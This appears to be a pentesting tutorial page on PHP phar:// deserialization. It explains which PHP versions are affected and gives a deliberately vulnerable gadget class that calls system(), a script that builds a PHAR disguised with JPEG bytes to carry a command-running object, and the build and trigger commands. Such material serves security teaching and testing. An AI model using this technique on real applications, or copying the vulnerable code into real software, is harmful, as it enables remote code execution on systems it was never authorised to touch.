// HackTricks · Web Pentesting

phar:// Deserialization

phar:// Deserialization

PHAR (PHP Archive) files can store serialized PHP values as archive metadata. Before PHP 8.0, opening a PHAR through the stream wrapper could automatically deserialize that metadata; starting with PHP 8.0, metadata deserialization is deferred until Phar::getMetadata() is called.[1]

Consequently, the classic phar:// object-injection technique applies primarily to PHP 7.x and older applications that pass attacker-controlled paths to filesystem functions such as file_exists(), filesize(), or file_get_contents(). On PHP 8.x, look instead for explicit calls to Phar::getMetadata() on an untrusted archive; PHP warns that doing so can execute code through object deserialization.[1][2]

Exploitation also requires a usable gadget class in the application. The following deliberately vulnerable example has a destructor that executes the value stored in $data:[3]

<?php
class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}

	function __destruct() {
		system($this->data);
	}
}

filesize("phar://test.phar"); // Attacker-controlled path on affected PHP versions

The following script creates a PHAR whose metadata contains that object:

<?php

class AnyClass {
	public $data = null;
	public function __construct($data) {
		$this->data = $data;
	}

	function __destruct() {
		system($this->data);
	}
}

// Create a new PHAR.
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// Store the gadget object as metadata.
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

The stub starts with JPEG signature bytes. This may evade a simplistic signature check, but it does not make the archive a fully valid image and will not bypass robust server-side validation.[3]

Create test.phar with:

php --define phar.readonly=0 create_phar.php

On an affected PHP version, invoking the vulnerable code causes the metadata object to be reconstructed and its destructor to run:

php vuln.php

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.